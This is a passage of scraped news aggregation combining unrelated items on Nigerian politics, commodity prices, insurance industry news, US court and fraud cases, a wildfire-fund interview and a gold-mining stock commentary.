and 6 years ago respectively. Anyone who live in Abuja knows my white G Wagon. To lie that I just acquired 3 new G Wagon is your heritage which is lying. Next time you lie dont undervalue my properties. Kajikooo. He added that Sahara Reporters had gone ahead to announce his fake failure during the 2019 General Election by announcing Smart as the winner of his constituency in Kogi state but they ended up announcing Dino Melaye as the winner. Sen. Dino Melaye wrote, the meaning of Glory is when those who announce your fake failure end up announcing your victory. @ Sahara Reporters VS SDM. Dem say Smart won the election and eventually announce my victory. This kind God ooo I never see b4 ooo. Minister of Labour and productivity, Chris Ngige, has release a statement debunking that he said he is not worried that doctors are leaving the country. According to the statement he released through his spokesman, Nwachukwu Obidiwe, he said the fact that he has been a medical doctor for 40 years puts him in a pole position to understand the health sector in the country. His words: Clinton Kanu, 57, has finally regained his freedom after sending 27- years in jail over a crime he never committed. Kanu upon his release is no asking for the reform of the judicial system in the country. Rivers State Television reports that Kanu was arrested and convicted of murder in 1992 when he was just 30. He was then remanded in Port Harcourt Maximum Prisons. His case after many years of the appeal finally got to the Supreme Court of Nigeria, where he was acquitted of the murder charge on April 5th, 2019. Governor of Gombe state, Ibrahim Dankwambo says what Nigeria needs isnt prayers but good leadership. The outgoing governor who served two terms in the state, said although prayers may be good, the country needs more than prayers to succeed. Dankwambo, who also joined the Peoples Democratic Party(PDP) 2019 presidential election primaries but lost to former vice president, Atiku Abubakar said this in a tweet on Thursday evening. He wrote; Prayers are good but Nigeria does not need prayers. All we need are competent leaders. Vanguard PRESIDENT Muhammadu Buhari yesterday in Maiduguri, the Borno State capital, commended efforts of the outgoing administration of Governor Kashim Ibrahim Shettima of Katsina State in promoting education as counter strategy to Boko Haram ideology and insurgency. Thisday Following the persistent complaints from the human rights community against police brutality and abuses perpetrated by men of the Nigerian Police against persons detained in police cells, the Chief Judge of Lagos State, Justice Olufunmilayo Opeyemi Oke, has mandated some magistrates to visit police stations and interview people detained by the police. The Sun Alhaji Muhammadu Maigari Dingyadi is the Chairman 2019 Campaign Organisation of the All Progressives Congress (APC) in Sokoto State. He was Secretary to Sokoto State Government (SSG), and former governorship candidate of Democratic Peoples Party (DPP) in the state. Guardian Gov. Rochas Okorocha of Imo has set up governing councils for the three newly established tertiary institutions in the state. The Chief Press Secretary to the governor, Mr Sam Onwuemeodo, in a statement disclosed that the members of the councils were urged to ensure the smooth take-off of the institutions. Daily Times The Atiku-Obi February 23, 2019, presidential election petition legal team has decried the refusal of the Independent National Electoral Commission (INEC) to produce polling documents from the elections after the Court of Appeal granted an order directing the commission to allow them access. Leadership The Kaduna State Government has imposed a 24-hour curfew in Kajuru Local Government Area following security breaches in the area. Daily Trust The leadership of the Peoples Democratic Party (PDP) in Abia North Senatorial District has told senator- elect, Dr. Orji Uzor Kalu of the All Progressives Congress, ( APC) that he cant get away with what it termed a stolen mandate. The Nation Lagos State Ministry of Justice said yesterday that the police had traced to Kano, the owner of a petrol tanker that exploded last June 27 on the Otedola bridge in Lagos, killing 12 people. Tribune The battle for the leadership of the incoming 9th Assembly deepens on Thursday following indications that the Senate Leader, Senator Ahmad Lawan had intensified his consultations and concluded meetings with lawmakers of the South South and South East. Following the announcement of the presidency that President Muhammadu Buhari has donated the sum of $5oo ooo to Guinea Bissau in its capacity as the chairman, ECOWAS authority of the head of states, Nigerians have reacted. The monetary grant is to ensure that legislative elections held in Guinea Bissau, which should help in stabilizing the country. Nigerians in their reactions have faulted the gesture with some citing that Nigeria itself is a borrowing nation. Reactions: And we go out and borrow God what have we done wrong OMO_EDO (@RElvisgate) April 26, 2019 https://platform.twitter.com/widgets.js Is this nigga madt or something GODsProperty (@YemiOJUOLAPE) April 26, 2019 https://platform.twitter.com/widgets.js Yet he is poorer than he as according to VP, yet he doesnt have money to buy his election ticket.. Nigeria.. Who is deceiving who? lol Senblex (@SenatorGinika) April 26, 2019 https://platform.twitter.com/widgets.js Our own country is not at rest and this man still has the audacity to carry our money and give out when us to we need someone that will help us Abubakar Sadiq (@sadiq14_) April 26, 2019 https://platform.twitter.com/widgets.js Naira bet owner, Akin Alabi, has joined millions of Nigerians in reacting to the now-viral news of a Nigerian man who rejected a house as a parting gift from his boss to sink a borehole in his community simply because there is no potable water in the area. According to Akin Alabi who spoke via his Twitter handle, he said the mans decision may be selfless but it is not the best. He feels the man should have collected the house, sell it and sink many boreholes. Do you agree with him??? His tweet: A woman has been arrested for killing her lover. According to reports, a woman who was the side chick to a married pastor killed him after the latters wife innocently allowed her into their home. The woman, Latoshia Daniels has now been charged with first-degree murder, attempt first-degree murder and possession of a firearm during the commission of a felony, assault of a police officer and resisting arrest after a possible love affair went wrong. According to Fox 8, officers were called to the couples home in Tennessee on Thursday after neighbours called that they heard gunshots. Upon the arrival of police officers, the man Brodes Perry, who was the executive pastor at Mississippi Boulevard Christian Church, was found bleeding from gunshot wounds. Perrys wife informed the police that the suspect, Daniels came to their home and she let her in. The wife added that as Daniels was being escorted out, she began to yell at her husband that you broke my heart. Brodes who was shot, however, asked that his wife leaves instead of staying by his side. She refused and Daniel shot her in the left shoulder. The couple were taken to the Regional Medical Center where Brodes Perry passed. Daniels has since been arrested. President Muhammadu Buharis aide on Media and Publicity, Femi Adesina says the president has gone on a private trip and has the right to whatever he deems fit on the trip. And that Nigerians who want to interpret it into something else, also have the right to think that Buharis private trip to the United Kingdom is for his health reasons. Adesina said this while appearing as a guest on a Channels Television programme, Politics Today on Thursday. His words; Those who want to interpret everything, those who want to believe all things should just believe that it is a private trip. When a man goes on a private trip, he has the right to use his time the way he deems because he has the right to private time. So those who want to believe its a medical trip, they have the right to believe, if it pleases them and makes them happier. According to the presidential spokesman, against popular beliefs that the president would jet off the country as soon as elections were over the president has remained even after two months since elections held. President Buhari has since the last weekend in December when he launched the presidential campaign, all through till February he was on campaign stuff around the country. Elections came and a lot of people expected that immediately after the elections, he will travel out to rest or attend to his health, but we see two months after the elections, the President was working vigorously. Wheats Extended Rally through Wednesday Barchart - 51 minutes ago At the closing bell for the Wednesday session, winter wheat prices were up double digits and spring wheat gained as much as a nickel in the front months. MPLS wheat was 0.2% to 0.5% higher on the day,... ZWH22 : 814-0s (+1.88%) ZWPAES.CM : 7.6734 (+1.99%) KEH22 : 853-6s (+1.46%) KEPAWS.CM : 8.3305 (+1.67%) MWH22 : 1027-6s (+0.22%) Cattle Complex Gains on Wednesday Barchart - 51 minutes ago Front month live cattle futures closed Wednesday 22 to 77 cents higher. There was no FCE auction this morning. Cash trade for Wednesday was reported from $135 to $140 in all feeding regions with the bulk... LEZ21 : 135.750s (+0.17%) LEJ22 : 142.125s (+0.55%) GFF22 : 161.775s (+0.58%) GFH22 : 161.925s (+0.06%) Russian pipeline faces big hurdles amid Ukraine tensions AP - Wed Dec 22, 2:29PM CST FRANKFURT, Germany (AP) The pipeline is built and being filled with natural gas. But Russias Nord Stream 2 faces a rocky road before any gas flows to Germany, with its new leaders adopting a more... $SPX : 4,696.56 (+1.02%) $DOWI : 35,753.89 (+0.74%) $IUXX : 16,180.14 (+1.21%) Nat-Gas Prices Gain on Forecasts for Colder U.S. Weather Barchart - Wed Dec 22, 2:19PM CST January Nymex natural gas (NGF22 ) on Wednesday closed up +0.107 (+2.77%). Nat-gas prices on Wednesday rallied to a 1-week high and settled moderately higher on forecasts for colder U.S. temperatures,... NGH22 : 3.701 (-0.32%) Crude Rallies on a Larger-Than-Expected Draw in EIA Inventories Barchart - Wed Dec 22, 2:18PM CST February WTI crude oil (CLG22 ) on Wednesday closed up +1.64 (+2.31%), and February RBOB gasoline (RBG22 ) closed up +2.02 (+0.94%). WTI crude oil and RBOB gasoline prices on Wednesday settled moderately... CLG22 : 73.07 (+0.43%) RBG22 : 2.1742 (+0.42%) Read more: Aon backs BCA's Strong Australia program This community really needed that work boost and to have that come as a backlash after such a tragic event is just a little bit of a kick when you're down, Sonya Corkery, Electrotek Queensland manager, told AAP. To not be able to get some of that work to be able to get back on our feet a bit more. Corkery said major insurers have panels of approved builders they use, but few North Queensland firms have made it on the lists. Obviously we would never wish that that (the floods) happened again, but in the event that something like that happened anywhere in Australia we would hope that more of those local tradesmen have that opportunity, Corkery told the news agency. Prime Minister Scott Morrison said the federal government has no requirements for the use of local firms when it comes to insurance work. He did put insurers on notice though when he visited Townsville after the floods, with some heeding that call. Others, you know, they're arguing the toss, Morrison told AAP. I don't like to see that when a town like Townsville is rebuilding and where there can be more opportunities for local businesses to be involved in that, I think it just further reinforces and assists the recovery effort here in Townsville. The Townsville community is also now dealing with accommodation shortages, due to residents displaced by Februarys flood as well as tradespeople from out of town. The people that weren't really able to stay in their homes were limited to where they could stay and then tradesmen needed somewhere to stay as well," Corkery told AAP. We've heard of situations where people on Magnetic Island have holiday houses they've had to rent out to businesses because there just is nothing left. That then gets built into the price, that goes to the insurer which then bumps up the premiums. We put the call out to motorists across Queensland, who are in the best position to identify problem spots, to help us pinpoint the locations which continually cause them frustration behind the wheel, said Lucinda Ross, RACQ spokesperson. These red spots may be due to a set of traffic lights taking too long to change, not enough lanes, delays at a rail crossing, or something completely different. Ross said the research would be made available to federal, state, and local governments, and would be used by RACQ to help prioritise its advocacy work. More than 2,500 nominations came in from across Queensland, so its clear congestion is an issue that really grinds our gears, Ross said. It costs us time and lost productivity, and thats why we need to address it now. Well use this information to guide our policy and use it to lobby all tiers of for solutions to bottlenecked areas. Also making it to the top 10 most congested roads in Queensland are South Pine Road, Eumundi Noosa Road, Gateway Motorway, Moggill Road, Logan Road, and Captain Cook Highway. Interested in learning more about rideshare and sharing economies? Attend Emerging Risks & Innovation on May 14 to learn more about insurance best practices. Rideshare insurance policies are generally more affordable than their commercial counterparts. Theyre offered by many carriers as personal plans that cover drivers during between-trip accidents, for example when theyre waiting for a pick-up request. Major transportation network companies (TNCs) tend to offer commercial auto insurance, but they dont provide coverage at all times. Period one, period two, and period three Companies like Uber and Lyft will only provide commercial auto insurance coverage for certain periods. They will cover drivers once they have accepted a trip and are on their way to the passenger (period two), and they will cover drivers once theyre with and are transporting the passenger (period three). They do not, however, grant full coverage for drivers when they have their ridesharing app turned on but havent yet received a pick-up request (period one). Period one is also known as the insurance gap period, because drivers tend to be covered at much lower limits and often have no collision coverage under the TNCs commercial auto policies at this time. This is a period in which personal auto insurers dont want to provide coverage either, because the driver has turned on a ridesharing app with the intention of carrying out a commercial activity. How much does rideshare insurance cost? Rideshare insurance is typically cheaper than commercial auto insurance and slightly more expensive than a personal auto policy. The actual price will depend on several factors, such as driving experience, age of driver, past infractions and so on. Who offers rideshare insurance? These days, lots of the major auto insurance names in the US offer rideshare insurance coverage. Some of them, like Farmers Insurance, only cover period one as an endorsement or rider to their personal auto policies, whereas others, like GEICO, are offering coverage for the full ride. Some policies are hybrid in that they cover ridesharing and personal use, so theres no need for the driver to purchase both policies. Some of the household insurance names that provide some type of rideshare insurance include: GEICO Allstate USAA Farmers Erie Esurance Progressive What are the insurers saying about rideshare insurance? Upon announcing Allstate would provide commercial auto insurance coverage to Uber, executive vice-president Tom Troy said: Personal transportation preferences are evolving, with consumers using a mix of options from owning vehicles to ridesharing. We understand the increasing need for commercial insurance solutions for drivers who provide rideshare services with their personal vehicles and for the transportation network companies they partner with. Esurance vice-president of product Eric Madia has commented: Ridesharing companies have grown in popularity, especially in California, which has the most rideshare drivers in the country. Recent ridesharing trends are one way that were seeing our transportation system evolve, and, at Esurance, were creating products that meet the demands of todays modern consumer, ensuring theyre optimally protected. Uber and Lyft insurance turns to captives With many insurance companies yet to fully embrace the idea of ridesharing, Uber and Lyft have embarked on self-insurance quests through the use of captive insurance companies. In announcing its initial public offering in 2019, Uber revealed in regulatory filings that it uses a combination of third-party insurance and self-insurance to protect against risks related to its ridesharing business. The filings showed Ubers insurance reserves totaled $2.94 billion at the end of 2018, up from $2.0 billion at the end of 2017. By the end of 2016, the companys insurance reserves totaled $712 million. Meanwhile, Lyft had set aside $863.7 million in its captive insurance subsidiary at the end of 2018, compared to $360.9 million in 2017, the company revealed in a public offering document. An eyewear website operator who has already served over five years in prison for threatening customers across the country with rape and murder was sentenced to an additional two years in prison Wednesday for resuming the same fraudulent online scam, minus the violent threats. A disappointed Vitaly Borker tossed his head back when U.S. District Judge Paul Gardephe announced the sentence in Manhattan. Gardephe said in his over two decades as a judge and prosecutor he hadnt seen someone return so quickly to exactly the same crime after doing four years, a harsh sentence. He also fined Borker $55,000. The judge said more prison time was necessary to protect society from a man who was still at great risk of committing fraud if freed. Gardephe said the Brooklyn resident has failed to truly accept responsibility. In a letter to the judge, Borker wrote: Something is just not right inside my brain. Gardephe agreed, noting that mental health professionals had concluded he suffered from bipolar disorder, narcissism, and obsessive-compulsive personality disorder. He said the conduct here, quite extraordinary, does reflect mental health issues. The Ukrainian immigrant violated terms of his release by resuming fraud after serving a four-year prison sentence for harassing customers from 2007 to 2015. He was sentenced to an additional two years in prison early last year for the release violation. Wednesdays sentencing stemmed from his arrest for what prosecutors said was nearly the exact same crime in which he ripped off people buying eyeglasses and seeking repairs online. A trembling and tearful Borker apologized to Gardephe and promised to never let him down. Its over. Its over, Borker said. When he was originally sentenced to four years in prison, Borker was told by the sentencing judge that victims who testified against him were highly credible when they said Borker had threatened them with rape and murder. In the new case, prosecutors did not allege that Borker made violent threats but they said he continued peddling shoddy glasses as premium ware. They said emails called one customer a stupid stupid lady and a total degenerate. They also alleged that Borker posed as Becky S in emails to disgruntled customers, telling one: I have been doing this for a decade. I will teach you a thing or 2 indeed. Borker had pleaded guilty to fraud and conspiracy for his operation of a company called OpticsFast. In a release, U.S. Attorney Geoffrey S. Berman said Borker was correctly given more prison time. Perhaps his second stint in federal prison will impress upon this shady businessman that seeking to make money by fraud and intimidation is a path to prison and not success, he said. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Fraud The state of Vermont says it will be working with the Federal Emergency Management Agency to verify damage caused by last weeks flooding. Representatives of Vermont Emergency Management and the Vermont Agency of Transportation are expected to meet with FEMA officials in White River Junction. The team plans to travel to communities in a number of counties affected by the April 15 flooding caused by rain and snow melt that damaged roads around the state. Vermont officials say they have identified more than $2 million in damages to public infrastructure, which is double the amount needed to qualify for federal assistance. They say the counties of Bennington, Essex, Orange, Rutland, Washington and Windsor have also shown public infrastructure damages exceeding the threshold to qualify for assistance. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Flood An activist Argo Group shareholder accuses the company of using a corporate jet for 1,500 flights in recent months and questions whether the trips were exclusively for business purposes. So goes the latest salvo fired against the company in advance of its annual meeting on May 24. Voce Capital Management issued a lengthy statement on April 24 that elaborated upon its allegations about corporate spending abuses, particularly corporate jet travel. Argo has previously denied all accusations regarding lavish spending. In our shareholder letter, we invited Argo to explain whether it considers the G-5s (Gulfstream V) recent 1,500 flights and 500 hours per year in the air to be exclusively for business purposes, and if so, to explain how that could be possible in light of the many questionable destinations and suspicious timing of trips we have highlighted, the latest comments from Voce state. Argo instead coyly parried that the company did not use corporate aircraft to transport our CEO to all of the destinations describedin Voce Capitals initial press release. (Editors note: Emphasis was added by Voce Capital). Voce also released flight logs it said were for Argos G-5 dating to 2016. They include multiple destinations in Florida, New Jersey, New York, Texas, Milan (Italy), California and London in the UK. Additionally, Voce said it has identified three Argo corporate jets used in heavy rotation. In its latest statement, the firm also continued to criticize Argos lack of disclosure of what it spends on corporate sponsorships, its corporate housing provided for Argo CEO Mark Watson in Bermuda and its reasoning behind two recent board appointments the firm alleges were illegal. Argo Group responded with another statement, alleging that Voce Capital continues to make false and misleading statements and is seeking to distract investors from Argos proven track record of delivering value for shareholders. Additionally, Argo said Voces narrative is poorly researched with the latest accusations being simply wrong. Argo said it has previously disclosed spending less than $1 million annually over the past five years for named sponsorships. The company added that Voces flight log refers to an aircraft that was neither owned by Argo, nor exclusively used by Argo. The company added that any executive that uses corporate aircraft for personal trips does so at his or her own expense. Voce first made public its accusations against Argos spending practices in February, accusing Argos board of directors of supporting a luxury home, excessive corporate jet travel and a pricy corporate art collection for Watson. Voce made its accusations about two board member appointments a few weeks later. Argo quickly denied any spending abuses, framing Voce as an outsider that is pushing a short-term agenda and has only accumulated stock in the Bermuda-based property/casualty specialty insurer and reinsurer in recent months. Source: Argo Group, Voce This article first appeared in Insurance Journals sister publication, Carrier Management. Related: Topics Aviation French reinsurer SCOR, whose CEO faces a vote on his demotion during a shareholders meeting on Friday, said its net profit in the first quarter fell 21 percent as a result of the impact of 2018 typhoons in Japan. SCOR booked a net profit of 131 million euros ($145.89 million) in the first quarter of this year, down from 166 million [$185 million] in the same period last year. The companys gross written premiums rose 5.7 percent to 3.99 billion euros [$4.5 billion]. Overall, SCORs annualized return on equity fell 2.2 percentage points to 9 percent, the company said. SCORs CEO Denis Kessler will face later on Friday a vote sponsored by activist fund CIAM to oust him from the board during the companys annual shareholders meeting. The vote comes after months of tension over French co-operative insurer Coveas failed 8.2 billion euro [$9.14 billion] takeover bid for SCOR last year, which was opposed by Kessler and earned him criticism from French activist fund CIAM. ($1 = 0.8979 euros) (Reporting by Inti Landauro; editing by Sudip Kar-Gupta) Topics Catastrophe Natural Disasters Profit Loss The Florida Supreme Court on Tuesday ruled against a sheriff who fought his removal from office after the governor claimed he failed to prevent last years Parkland school shooting. Floridas highest court agreed that Gov. Ron DeSantis was within his authority to suspend Scott Israel as Broward County sheriff earlier this year. The justices noted that under the Florida Constitution, the state Senate is responsible for deciding whether the removal should be permanent. Todays Florida Supreme Court opinion leaves no doubt of my authority as governor to suspend a government official for neglect of duty and incompetence, DeSantis said in a prepared statement. Scott Israel failed in his duties to protect the families and students of Broward County, and the time for delay tactics is at an end. I look forward to the Florida Senate resuming the process of formal removal. Senate leaders previously decided to first let the case go through the courts. Senate President Bill Galvano had appointed a special master to preside over a suspension hearing earlier this year, but no hearing was immediately scheduled after the courts ruling. DeSantis suspended Israel from his elected position in January and appointed an acting sheriff. Besides blaming Israel for allowing the Feb. 14, 2018, shooting at Marjory Stoneman Douglas High School that left 17 people dead, DeSantis has also criticized Israels leadership during a mass shooting at the Fort Lauderdale Airport in early 2017. Israel has said DeSantis overstepped his constitutional authority and interfered with the publics right to elect their sheriff. Israels attorney didnt immediately respond to an email from The Associated Press seeking comment about Tuesdays ruling. Israels attorney Ben Kuehne has previously said DeSantis, a Republican, removed Israel, a Democrat, from office for political and partisan reasons. Calls for Israels ouster began shortly after the shooting when it was revealed that the deputy assigned to guard the school, Scot Peterson, had not gone into the building to confront the shooter, but took cover outside. The heat increased after it was learned the sheriffs office received and disregarded a call in 2016 and another in 2017 warning that suspect Nikolas Cruz, now 20, was a potential school shooter. Deputies also had about 20 contacts with Cruz as a juvenile mostly over arguments with his now-deceased mother. Israel has said none of those contacts warranted an arrest. Law enforcement members of the state commission investigating the shooting have agreed with that conclusion. Cruz remains jailed, charged with 17 counts of first-degree murder. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Legislation Florida A doctor who prescribed more than 4 million opioid pills, including to a pregnant woman who later died, is one of more than 30 medical professionals in Tennessee charged with illegally prescribing and distributing millions of painkillers, federal authorities said Thursday. U.S. Attorneys Michael Dunavant, in Memphis, and Don Cochran, in Nashville, held separate news conferences detailing allegations against doctors and nurse practitioners. The health care workers were indicted on federal charges stemming from a sweeping investigation by the federal Appalachian Regional Prescription Opioid Strike Force, launched last year by President Donald Trumps administration. Dunavant said 16 medical professionals have been charged with illegally distributing opioids and other painkillers in west Tennessee. Cochran said nine were charged in middle Tennessee. Another eight medical professionals were charged in the Knoxville-based Eastern District of Tennessee, they said. A total of 60 people, including 53 medical professionals who wrote 350,000 prescriptions and distributed 32 million pills, have been charged nationally, authorities said in first announcing the charges Wednesday. They said most of those charged were from the five states targeted by the strike force: Alabama, Kentucky, Ohio, Tennessee and West Virginia. Cochran said 650 people died from prescription opioids in Tennessee in 2017. He said those deaths arent really a good indicator of the problem, because a lot of people who go on to heroin and even more dangerous things like fentanyl start with prescription opioids. Earlier this year, attorneys in the Middle District of Tennessee filed a civil case that temporarily stopped two pharmacies in Clay County from dispensing controlled substances. The county has a population of less than 8,000 people and the pharmacies dispensed 1.5 million opioids, Cochran said. Two people have died, and numerous others were hospitalized for overdoses shortly after obtaining drugs from the pharmacies, Cochrans office said. In west Tennessee, which is mostly rural with the exception of the Memphis area, those charged include Dr. Thomas Kelly Ballard III. Ballard, who runs Ballard Clinic in Jackson, is charged with several crimes, including unlawfully dispensing controlled substances and distributing a drug resulting in death or serious bodily injury. The former charge carries a sentence of up to 20 years, and the latter of at least 20 years. An Associated Press reporter who called the Ballard Clinic for comment reached a voicemail that noted the office is only open on Tuesday and Wednesday. The voicemail did not accept messages. Online court records did not show on Thursday if Ballard had a lawyer who could speak on his behalf. Prosecutors allege in an indictment that Ballard prescribed 4.2 million opioid pills, sometimes in dangerous combination with other drugs such as benzodiazepines. They said Ballard sold opioids to known addicts and to a pregnant woman, who later died. She was not identified. Ballard, 61, often used his power to prescribe controlled substances to convince purported patients to allow him to kiss, hug, grope, or otherwise inappropriately touch them, the indictment said. In their investigation, authorities interviewed confidential informants and analyzed records that showed doctors or pharmacies were distributing unusually high numbers of pills. Patients traveled great distances to get their cocktails of controlled substances from a clinic in the rural town of Bells, the indictment said. The west Tennessee district borders Mississippi, Arkansas, Kentucky and Missouri and includes the intersection of Interstate 40 and Interstate 55. That makes it easier for people to travel to find illegally prescribed drugs in the region, Dunavant said. Dunavant noted that only five of the medical professionals practice in Memphis. Eleven defendants are from mostly rural parts of the region. A former state district attorney in rural west Tennessee, Dunavant said there may be a perception in rural communities that illegal opioid distribution will go unnoticed. If youre a small-town doctor and youre the sole practitioner in a small town, where everybody relies on you for medical treatment and for your pill, nobodys going to do anything to you, right? Dunavant said. Thats wrong. ___ Loller reported from Nashville. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Abuse Molestation Tennessee Medical Professional Liability Drugs Former Washington insurance agent Abu Ameena Ward has pleaded guilty in Pierce County Superior Court to one count of third-degree theft and was ordered to pay $18,666 in restitution to Farmers Insurance and $700 in court fees. He entered the plea this week. Officials charged Ward in February after an investigation by Insurance Commissioner Mike Kreidlers Criminal Investigations Unit. According to the investigation, Ward illegally collected more than $32,904 in commissions from Farmers Insurance after writing 51 fake renter insurance policies from December 2013 until January 2016. Ward became licensed to sell insurance in 2012 and Kreidler revoked his license in November 2017. Farmers terminated Wards employment in June 2016 for writing the questionable policies. Kreidlers CIU investigates insurance fraud and works with the Washington State Patrol and state and local prosecutors on criminal cases. Topics Agencies Fraud Washington James Woods has his sights set on finding ways to help California deal with repeated years of severe wildfire seasons, and the prospect of more seasons in which record losses from large blazes may lie ahead of us. Woods has been making rounds at insurance conferences talking about wildfire solutions for California, and hes been busy working with lawmakers and the governors office to develop plans to help mitigate the threat of wildfires and to help pay for them. Woods has a track record of dealing with large and potent disaster issues facing Californians. He was instrumental in helping to create the California Earthquake Authority. Woods was formerly co-leader of Mayer Browns Global Insurance Industry Group and chair of the LeBoeuf, Lamb, Greene & MacRae Insurance Practice. He now owns and operates Woods Group Solutions, headquartered in Sonoma, Calif. He spoke with Insurance Journal about his most recent efforts in a follow up conversation in which he spoke with Insurance Journal in February about finding solutions to the states wildfire problems. This has been edited for brevity and clarity. Insurance Journal: When we last spoke we talked about what California can do in regards to being better prepared for wildfires and catastrophic wildfires. Im understanding theres some new developments. Can you talk about whats going on? Woods: Yes. There are some exciting developments. Gov. Newsom has done a fantastic job in preparing a 50-page report addressing wildfire, and, in some instances, insurance solutions for wildfires. He has indicated in his report that climate change has created a new wildfire reality for California. Hes indicated that 15 of the 20 most destructive wildfires in the states history have occurred since 2000. Ten of the most destructive wildfires have occurred since 2015. He also has taken a look at evaluating state level resource backdrop options, increasing transparency and reliability protections for consumers, and allocating responsibility for wildfire costs. One idea that he had is a liquidity-only fund, which would provide some bridge financing for what utilities are able to raise under SB 901, which is sponsored by Sen. Dodd of Napa, also examining our fault-based standard of endurance condemnation, and thirdly, creating a catastrophic wildfire fund. IJ: Can you tell us a little bit more about that fund? Woods: I think that so long as the state embraces a standard of fault being irrelevant in connection with any wildfires that are created by a utilitys equipment, which is the case under so-called inverse condemnation, then the state has to be prepared to allocate costs. One mechanism for doing that is the creation of a California Wildfire Authority. Significant members of the state legislature are considering that now. Assemblyman Chad Mayes has been a proponent of that type of an approach, and Senator Bob Hertzberg has also been a proponent of that type of an approach. I have put together some ideas for Senator Hertzberg and his staff to consider. It would be a financing for a $20 billion Wildfire Authority that is composed of four layers. One of the layers would be a $4.5 billion layer that would be a utility capital contribution. The source of funds there would be corporate equity of the states utilities, the investor-owned utilities. I think one could arrive at that by taking the service territory of utility and deriving a percentage of contribution there from. Also, Ive penciled in half-a-billion dollars for the states smaller utilities, rural utilities and the like. Each of those also, their service territories would dictate the amount of contribution. The second layer would be an SB 901 layer borne by the states utility rate payers. Ive penciled in $1.5 billion there thinking that the maximum amount that a utility repair would be willing to contribute is about $7.50, and understanding that under SB 901, $5 per $1 billion of rate payer can be borne or passed on to the states rate payers so long as the Public Utility Commission so approves. A third layer would be a capitals market layer that could be as large as $8 billion. The source of funds would be the California Taxpayer. Also, sovereign well funds could be approached. A final layer would be a state insurance layer, and the source of funding there would be California Taxpayers. This would be through reinsurance, perhaps four and a half-billion dollars, an ILS, which are insurance link securities of about a half-a-billion. The total thereof is $20 billion. IJ: It sounds like were at a critical juncture here as far as wildfire risk in California. Is that a good assumption? Woods: I think it is. In fact, the governor has been very quick to try to come up with innovative and business practical consumer centric solutions. He demanded that his strike force report within 30-60 days, which they did. Now, there needs to be follow through as to whether or not any of these proposals can be implemented in order to properly address a problem that we expect to occur annually in the future that is devastating wildfire losses in part due to climate change. IJ: What should our insurance professional listeners and readers take away from all of this? Woods: Well, Id like our insurance leaders to become active in proposing solutions, not just reacting to situations. It would be very helpful if they were directly in the mix, not just reacting to other proposals, but coming up with some worthwhile proposals. Lets remember, when the California Earthquake Authority was prepared many years ago, it was the insurance industry that led the creation of that. It was a very innovative way to address a problem. That was the lack of potential earthquake capacity for California consumers. Today, we have a lack of wildfire capacity by insurers. It would be helpful if they stepped forward with some ideas that will help mitigate the damages and serve consumers. Related: Topics California Catastrophe Natural Disasters Wildfire April 26, 2019 (Investorideas.com Newswire) Jay Taylor of J. Taylor's Gold, Energy & Tech Stocks provides an update on this miner's exploration efforts at its Nevada project. After expressing optimism about Newrange Gold Corp.'s (NRG:TSX.V; CMBPF:OTCMKTS) early metallurgical testing, I said that I hope to provide an update on the latest exploration plans of the company in my next weekly message. The company's CEO, Robert Archer, saw my comment and reached out to me with a phone conversation on April 11. Regarding exploration plans, they are still being discussed internally, but what I can tell you is that there are a few hugely positive developments that have management rethinking how they approach exploration on this project. As reported in the company's March 26 press release, management is now talking about the following three types of gold mineralization on the project: High-grade (over 10 grams per tonne) gold mineralization. Local fracture-controlled mineralization with coarse visible gold that exists in discontinuous vein-like structures that cut mid-grade (one gram per tonne to 10 grams per tonne gold). Surrounding local fracture-controlled mineralization is surrounded by a large cloud of lower-grade (under 1.0 gram per tonne gold) mineralization. So, regarding the positive discoveries recently announced by the company, the first major positive in my mind may be the third type of mineralization noted above. While investors tend to get most excited by splashy high-grade intercepts like those at Great Bear's Dixie Project, the third type of mineralization on Newrange's Pamlico Project may be the most important in terms of the economic potential at Pamlico. It suggests the possibility of a larger-scale bulk mining project, especially given indications of very positive metallurgy as well as the fact that the Pamlico oxide material that leaches very well extends to an unusually deep 300 meters from surface. In other words, it seems to me there is clearly the potential for a very-large-scale bulk mineable gold deposit, which, given high-grade sweeteners could make this a high margin project. Obviously it is way too early to take that to the bank. But early indications are very positive. Second, metallurgy so far is looking stellar. For example, on February 5, management reported that bottle roll leach tests recovered up to 97.1% on the highest-grade sample of four that were tested. The lowest recovery was 73.6%, which is still a respectable leach recovery. Recoveries of the other two were 88.5% and 96%. But that's not all the good news to come out of these early leach recovery tests. Management reports a very rapid leach time (96 hours) for those results, and the reagent required was extremely low. In addition, it appears likely that an extended leach time would improve recoveries even beyond the 97.1% recovery for the high-grade sample because it was still yielding gold when the leach was terminated. But there is one more point regarding the February 5 report and that is that as you can see from the table below for the three lowest-grade composite samples, the average grade of the gold actually recovered by leaching (from calculated head grades) was 27 per cent higher than the predicted or assay head grades, suggesting both better grades, larger volumes and therefore more gold may be present in the large clouds of stock work or disseminated mineralization surrounding the structurally controlled high-grade gold at Pamlico. The third point that has me excited is results from the company's ongoing metallurgical studies that show the potential to create a high-grade concentrate from the Pamlico Project where a preliminary screen test has successfully produced a concentrate assaying 26.53 grams gold per tonne gold from sampled mineralization with a head grade of 4.291 grams per tonne gold. The original sample was dry screened, with no crushing, into two size fractionsa coarse fraction (plus-95 millimeters) and a fine fraction (minus-95 millimeters). The two fractions were then submitted to American Assay Labs in Sparks, Nev., for analysis. The coarse fraction assayed 1.02 grams per tonne gold and contained only 20.72 per cent of the gold in 87.18 per cent of the sample volume, while the fine fraction assayed 26.53 grams per tonne gold, representing 79.28 per cent of the gold, in 12.82 per cent of the original sample weight. The results are set out in the chart below. Additional samples from multiple areas on the property have been collected and submitted for further screen testing to examine optimal sizes, and to evaluate wet and dry screening and other techniques to further increase the gold reporting to the fine fraction and reduce the gold content of the coarse fraction. If these results hold up over the entire project or a large portion of it, they may have a very significant positive impact on the economics of the project. As Bob Archer noted in the April 4 press release, "By implementing simple, low-cost screening and concentrating approximately 80 per cent of the gold in less than 13 per cent of the sample weight, it may be possible to eliminate a crushing circuit altogether, to mine large volumes of low-grade mineralization, and substantially reduce the volume of material to be processed. This, in turn, would result in a smaller processing facility, materially reducing permitting requirements, capex and opex costs. Furthermore, it indicates the potential to deliver higher-grade feed to a processing facility, thereby allowing more intense treatment of higher-grade material, which could result in higher extraction and recovery rates." One last positive I 